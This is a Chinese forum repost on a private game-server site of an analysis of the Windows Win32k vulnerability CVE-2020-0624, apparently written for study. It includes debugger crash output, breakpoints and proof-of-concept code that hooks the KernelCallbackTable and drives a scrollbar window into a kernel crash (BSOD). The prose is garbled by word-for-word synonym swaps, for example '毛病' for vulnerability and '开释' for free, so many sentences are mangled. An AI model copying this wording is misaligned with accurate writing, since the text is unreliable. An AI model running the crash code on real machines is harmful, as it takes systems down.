12558网页游戏私服论坛

 找回密码
 立即注册
游戏开服表 申请开服
游戏名称 游戏描述 开服状态 游戏福利 运营商 游戏链接
攻城掠地-仿官 全新玩法,觉醒武将,觉醒技能 每周新区 经典复古版本,长久稳定 进入游戏
巅峰新版攻 攻城掠地公益服 攻城掠地SF 新兵种、新武将(兵种) 进入游戏
攻城掠地公 散人玩家的天堂 新开 进入游戏
改版攻城掠 上线即可国战PK 稳定新区 全新改版,功能强大 进入游戏
少年江山 高福利高爆率 刚开一秒 江湖水落潜蛟龙 进入游戏
太古封魔录 开服送10亿钻石 福利多多 不用充钱也可升级 进入游戏
神魔之道 签到送元宝 稳定开新区 送豪华签到奖励 进入游戏
神奇三国 统帅三军,招揽名将 免费玩新区 激情国战,征战四方 进入游戏
龙符 三日豪礼领到爽 天天开新区 助你征战无双 进入游戏
王者之师 免费领豪华奖励 免费玩新区 6元送6888元宝 进入游戏
查看: 330|回复: 0

CVE-2020-0624 Win32k漏洞分析笔记

[复制链接]

49

主题

49

帖子

108

积分

实习版主

Rank: 7Rank: 7Rank: 7

积分
108
发表于 2020-9-17 09:50:31 | 显示全部楼层 |阅读模式
求内推,来岁结业
这篇文章将分析 Windows 操作系统 win32k 内核模块窗口管理器子系统中的 CVE-2020-0624 毛病,固然作者在 Github 上发布时称这是一个 UAF 毛病,但我在进一步分析之后发现这应该算是一个范例混淆毛病,跑去推特和作者确认了一下,作者说自己 Fuzz 之后直接提交了,没有进一步分析2333 。

配置毛病触发环境

[+] win10 x64 1903[+] windbg preview 1.0.2001.02001
BSOD分析

tip:因为KALSR的关系,我们分析起来会很麻烦,不外我们可以在调试之前先生存一个快照,如许我们调试的时候就可以先不思量KALSR.
崩溃之后我们使用!analyze v来分析一下.首先检察一下错误范例
1: kd> !analyze vERROR: FindPlugIns 8007007b********************************************************************************                                                                             **                        Bugcheck Analysis                                    **                                                                             ********************************************************************************BAD_POOL_CALLER (c2)The current thread is making a bad pool request.  Typically this is at a bad IRQL level or double freeing the same allocation, etc.Arguments:Arg1: 0000000000000046, Attempt to free an invalid pool addressArg2: ffffc29800880000, Starting addressArg3: 0000000000000000, 0Arg4: 0000000000000000, 0错误是BAD_POOL_CALLER (c2),出现异常的地点为ffffc29800880000,错误提示是我们开释了错误的内存.没什么头绪,看看堆栈的内容

看起来很像是子函数NewCCI2进行了错误的操作,但其实要稍微复杂一些,后面分析poc源码的时候再说.这里我们只关注win32kfull!Win32FreePoolImpl就好,正是这个函数导致了异常的发生,原来我是想直接给这个函数打断点,但是这个函数会被频仍调用,很不方便.查阅资料发现该函数开释的内存后七位固定为0880000,所以我们可以通过cx寄存器来判断开释的内存是否为一场内存.条件断点如下:
ba e1 win32kfull!Win32FreePoolImpl+0x46 "r rcx;.if(cx == 0){.echo 1}.else{.echo 2;g}"又或者你干脆已经知道了错误内存的地点为ffffc29800880000,那么直接设置rcx=ffffc29800880000也是ok的.

履历了漫长的条件判断之后我们终于断下来了,现在rcx的值为ffffc29800880000,正是我们的错误内存.检测一下属性

解析不出来,直接检察数据

连Header都没有,这根本就不是Kernel Pool,我们必要继承追踪这块希奇的内存,从堆栈看一下调用关系

上层函数是Win32FreePool,静态分析一下

Win32FreePool函数仅仅是将参数通报给Win32FreePoolImpl函数而已,再看看上层函数xxxDestroyThreadInfo

不同于以前的win7,在win10上无法检察tagTHREADINFO结构.所以无法得知tagTHREADINFO+0x2c8代表什么,以及是什么函数设置了它的内容,我们尝试继承下断点.
ba e1 win32kbase!xxxDestroyThreadInfo+0x94 "r rsi;.if(poi(rsi+0x2C8) != 0){.echo 1}.else{g}"当rsi+0x2C8不为零的时候断下来,检察rsi+0x2c8是否为触发异常的内存.

还是谁人熟悉的数字,看来这个地点就是关键,某个函数设置了它的值,并且终极交给xxxDestroyThreadInfo函数来开释他所指向的内存,我们只要一步一步追溯就可以追溯到事发源头.但其实有更方便的法子,我们可以修改一下poc的源码,在统统都发生之前加入一个DebugBreak()断下来,接着对tagTHREADINFO+0x2c8下一个内存访问断点,如许windbg就会主动帮我们找到凶手了.
但是tagTHREADINFO的值每次都会发生变化,所以我们必要再生存一个快照,就在DebugBreak()函数断下来的时候.接着重新找出tagTHREADINFO的值,和刚刚一样:

现在我们恢复到刚刚生存的快照.重新断在DebugBreak()之后,接着我们对ffffc298061d48a0+2c8下一个内存访问断点并运行

断下来之后我们就可以看到修改ffffc298061d48a0+2c8的地方,看一下堆栈里面的调用关系

就是win32kfull!xxxSBTrackInit这个险恶的函数将错误的地点写入了ffffc298061d48a0+2c8.我们在IDA里面检察一下

上面这个名字长的一批的函数返回了一个指向tagSBTrack结构的指针,之后这个指针将会被写入tagTHREADINFO+0x2c8处,即tagTHREADINFO->pSBTrack.这块内存是由nt!MmCommitSessionMappedView函数分配的,而ExFreePool函数只能开释由ExAllocatePool,ExAllocatePoolWithTag,ExAllocatePoolWithQuota或ExAllocatePoolWithQuotaTag分配的内存,天然会触发异常从而导致BSOD.
poc源码分析

因为作者给出了源代码,所以我们接着看一下poc的源代码,我分成几个小部分来一一分析.
    /* 获取指向TEB和PEB的指针 */    DWORD OldProtect{};     /* 获取指向TEB和PEB的指针 */    PTEB teb = NtCurrentTeb();    PPEB peb = teb->ProcessEnvironmentBlock;OldProtect只是用来生存内存被修改前的访问保护值,teb和peb则分别生存线程环境块和进程环境块.
PVOID pCCI2 = &((PVOID*)peb->KernelCallbackTable)[2];进程环境块中的KernelCallbackTable生存着函数指针表的副本,KeUserModeCallback通过参数ApiNumber作为索引来选择函数指针表中相应的函数.但是为什么是2,我们可以在这两句代码之前下一个断点
0: kd> dt nt!_PEB @$peb +0x058......   +0x058 KernelCallbackTable : 0x00007ff5`6ad80028 Void......0: kd> dps poi($peb+58)00007ffa`2bdb6330  00007ffa`2bd35150 USER32!_fnCOPYDATA00007ffa`2bdb6338  00007ffa`2bdae720 USER32!_fnCOPYGLOBALDATA00007ffa`2bdb6340  00007ffa`2bd52cd0 USER32!_fnDWORD00007ffa`2bdb6348  00007ffa`2bd56780 USER32!_fnNCDESTROY00007ffa`2bdb6350  00007ffa`2bd5cd50 USER32!_fnDWORDOPTINLPMSG......peb+58的地点就是KernelCallbackTable的地点,这里的2是USER32!_fnDWORD.假如我们向滚动条子控件发送WM_LBUTTONDOWN,消息时,会调用到win32kfull!xxxSBTrackInit()函数,该函数首先会创建一个Session Pool,用来生存 tagSBTrack结构.所以后面我们会特意营造这种情景来调用这个回调函数.
/*    BOOL VirtualProtect(                // 此函数更改对调用进程的虚拟地点空间中的已提交页面区域的保护        LPVOID lpAddress,               // 要更改其访问保护属性的页面区域的起始页面        SIZE_T dwSize,                  // 要更改其访问保护属性的区域的大小        DWORD  flNewProtect,            // 内存保护选项,PAGE_EXECUTE_READWRITE为可读可写可执行权限        PDWORD lpflOldProtect           // 指向变量的指针,该变量接收页面的指定区域中第一页的先前访问保护值    );    PVOID InterlockedExchangePointer(   // 此函数原子交换一对地点        PVOID volatile *Target,         // 目标地点        PVOID          Value            // 与目标函数交换的地点    );    */    if (!VirtualProtect(pCCI2, sizeof(PVOID), PAGE_EXECUTE_READWRITE, &OldProtect))        return 0;    OrgCCI2 = (PFNUSER32CALLBACK)InterlockedExchangePointer((PVOID*)pCCI2, &NewCCI2);我们在上一步已经得到了指向(peb->KernelCallbackTable)2和(peb->KernelCallbackTable)3地点的指针,接着我们只要直接赋值就可以hook这两个函数了

OrgCCI2生存原先的函数指针以使用正常的功能,如许我们的hook函数既可以执行我们自定义的操作,还不影响原本的功能.
    hChild = CreateWindow(        L"ScrollBar",         L"Vul",         WS_OVERLAPPEDWINDOW | WS_VISIBLE,         CW_USEDEFAULT,         CW_USEDEFAULT,         10,         10,         NULL,         NULL,         NULL,         NULL    );scrollbar的窗口是可见的, 设置WM_VISIBLE,如许才能成功触发.至此,回调函数也hook完了,窗口也已经创建了,我们可以开始思量调用我们hook的函数了,具体实现如下
NTSTATUS NTAPI NewCCI2(PVOID Param){    if (Flag)    {        ExitThread(0);    }    return OrgCCI2(Param);}因为被我们hook的两个函数有可能会被其他部分调用,所以我们设置了Flag1和Flag2来跳过我们hook的内容,而去执行OrgCCI2和OrgCCI3,这两个指针生存的正是hook之前的函数指针,如许,其他部分调用hook之后的函数也不会发生异常.
    Flag = TRUE;    SendMessage(hVul, WM_LBUTTONDOWN, 0, 0);在NewCCI2中,因为Flag已经被置1,所以我们会调用if语句之内的内容,也就是ExitThread(0).接着win32kfull!Win32FreePoolImpl就会调用nt!ExFreePool来开释tagSBTrack,导致BSOD.
大概流程是如许:
[+] HOOK KernelCallbackTable->fnDWORD[+] 创建一个可视的滚动条窗口SrollBar并发送WM_LBUTTONDOWN消息[+] 系统处理消息初始化SBTrack结构并开始循环,接着触发fnDWORD回调[+] 由于KernelCallbackTable->fnDWORD已经被我们修改,所以程序转去执行NewCCI2函数[+] win32kfull!xxxSBTrackInit()函数已经将tagSBTrack结构写入了tagTHREADINFO+2c8处,退出线程时会触发BSOD参考文章

晏子霜师傅本人和博客都有很大资助,我偷了很多思绪和技巧:http://www.whsgwl.net/
wjllz师傅,同样是偷思绪和技巧:https://xz.aliyun.com/u/12604
其他:
https://www.anquanke.com/post/id/97498
https://pediy.com/kssd/pediy11/104918.html
一些疑问

遗憾的是,我没能完成使用.因为我对于范例隔离中分配的这块内存实在是没有办法了,问了一位师傅得到的答复是这是一个使用的可能性微乎其微的毛病,但微软官方给出的确实是权限提升的通告,所以师傅们假如有思绪的话请分享一下,不胜感激!!!

来源:http://www.12558.net
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
楼主热帖
回复

使用道具 举报

*滑块验证:
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

QQ|Archiver|手机版|小黑屋|12558网页游戏私服论坛 |网站地图

GMT+8, 2024-4-27 22:14 , Processed in 0.109375 second(s), 31 queries .

Powered by Discuz! X3.4

© 2001-2017 Comsenz Inc.

快速回复 返回顶部 返回列表